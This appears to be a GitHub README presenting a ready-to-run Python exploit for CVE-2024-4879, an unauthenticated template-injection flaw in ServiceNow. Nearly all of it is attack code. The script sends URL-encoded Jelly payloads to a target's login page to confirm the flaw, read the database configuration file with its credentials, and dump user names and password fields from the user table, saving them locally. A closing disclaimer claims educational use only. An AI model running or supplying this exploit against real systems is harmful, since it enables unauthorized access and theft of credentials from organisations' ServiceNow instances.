CVE-2024-4879-ServiceNow
ServiceNow is a platform for business transformation which helps companies manage digital workflows for enterprise operations.CVE-2024-4879 could allow an unauthenticated user to remotely execute code within the Now Platform. This vulnerability exploits three issues by chaining them together: Title Injection, Template Injection Mitigation Bypass, and Filesystem Filter Bypass, to access ServiceNow data.
The affected versions include Vancouver, Washington DC Now and Utah platform releases
Exploit code :
Python:
import requests
import argparse
import sys
import urllib3
import os
import re
urllib3.disable_warnings((urllib3.exceptions.InsecureRequestWarning))
def ascii():
art = print(""" _ _ _ _ _ ___ _
| || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_
| __ / _` / _| / / | _| ' \/ -_) | _/ / _` | ' \/ -_) _|
|_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|
""")
return art
def checkVuln(targetIP):
try:
checkUrl = f"https://{targetIP}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
print("\033[92m\n[+] Checking the target \n \033[0m")
response = requests.get(checkUrl, verify=False, timeout = 10)
# Check if the request was successful
if response.status_code == 200:
if '1337' in response.text:
print("\033[92mTarget is vulnerable!! \033[0m \n")
#Getting the user input to exploit or not
getUserChoice = input("\033[92mFetch DB Info? (Y)es or (N)o \033[0m \n")
if getUserChoice.lower() in ["y", "yes"]:
getDBinfo(targetIP)
else:
sys.exit("Exiting..")
else:
print("\033[91mTarget might not be vulnerable...\033[0m")
else:
print("\033[91mTarget cannot be reached...\033[0m")
sys.exit("Exiting..")
except Exception as e:
sys.exit(f"Some error occured: {e}")
sys.exit("Exiting..")
def getDBinfo(targetIP):
getDBinfoURL = f"https://{targetIP}/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
try:
response = requests.get(getDBinfoURL, verify=False, timeout = 10)
if response.status_code == 200 and'glide.db.properties' in response.text:
print("\033[92mFetching the DB info.. \033[0m \n")
#Make the directory
os.makedirs(targetIP, exist_ok=True)
# Define a regex pattern that captures all key-value pairs
pattern = r'glide\.db\.(name|rdbms|url|user|password)\s*=\s*(\S+)'
# Find all matches
matches = re.findall(pattern, response.text)
# Convert matches to a dictionary
extracted_values = {f'glide.db.{key}': value for key, value in matches}
with open(os.path.join(targetIP, 'DBinfo'), 'w') as f:
# Print extracted values
for key, value in extracted_values.items():
f.write(f"{key}: {value}\n")
print(f"{key}: {value}")
userDBInstance(targetIP)
else:
print("\033[91mCould not fetch DB info...\033[0m")
except Exception as e:
sys.exit(f"Some error occured: {e}")
sys.exit("Exiting..")
def userDBInstance(targetIP):
#In case no MID server is configured, accessing the user DB of the instance
userDBInstanceUrl = f"https://{targetIP}/login.do?jvar_page_title=%3Cstyle%3E%3Cj%3Ajelly%20xmlns%3Aj%3D%22jelly%3Acore%22%20xmlns%3Ag%3D%27glide%27%3E%3Cg%3Aevaluate%3Egr%3Dnew%20GlideRecord%28%22sys_user%22%29%3Bgr.query%28%29%3Bs%3D%22%22%3Bwhile%28gr.next%28%29%29s%3Ds.concat%28gr.user_name%2C%22%20%3A%20%22%2Cgr.user_password%2C%22%3Cbr%2F%3E%22%29%3Bgs.addErrorMessage%28s%29%3B%3C%2Fg%3Aevaluate%3E%3C%2Fj%3Ajelly%3E%3C%2Fstyle%3E"
try:
response = requests.get(userDBInstanceUrl, verify=False, timeout = 10)
if response.status_code == 200 and 'Error Message' in response.text:
print("\033[92m\nAttempting to fetch the User DB of the instance.. \033[0m \n")
# Regular expression to find all instances of the pattern
pattern = r'Error Message(?:.*?)(.*): <br />'
# Finding all matches
matches = re.findall(pattern, response.text)
if matches:
result = matches[-1] + ": <br />"
#cleaning up the results to make it readable
cleaned_result = result.replace(': <br />', ' ').replace('=', '=').replace('<br />', ' '). replace('</span></span><div class="outputmsg_text">','').replace(' : ', ':')
info_list = cleaned_result.split()
with open(os.path.join(targetIP, 'userDBInstanceInfo'), 'a') as g:
for i in info_list:
g.write(i + '\n')
print(i)
else:
print("\033[91mCould not fetch the User DB of the instance..\033[0m")
else:
print("\033[91mUser DB of the instance not found\033[0m")
#with open(os.path.join(targetIP, 'DBinfo'), 'w') as f:
except Exception as e:
sys.exit(f"Some error occured: {e}")
sys.exit("Exiting..")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-4879")
parser.add_argument("-i", '--targetIP', required=True, help="The target URL")
args = parser.parse_args()
try:
ascii()
return(checkVuln(args.targetIP))
except Exception as e:
sys.exit(f"Some error occured: {e}")
if __name__ == "__main__":
main()
Usage: python3 exploit.py -i < target_IP >
Usage example: python3 exploit.py -i 127.0.0.1
Disclaimer: This exploit is to be used only for educational and authorized testing purposes. Illegal/unauthorized use of this exploit is prohibited. I am not responsible for any misuse or damage caused by this script.
Source GitHub : https://github.com/Praison001/CVE-2024-4879-ServiceNow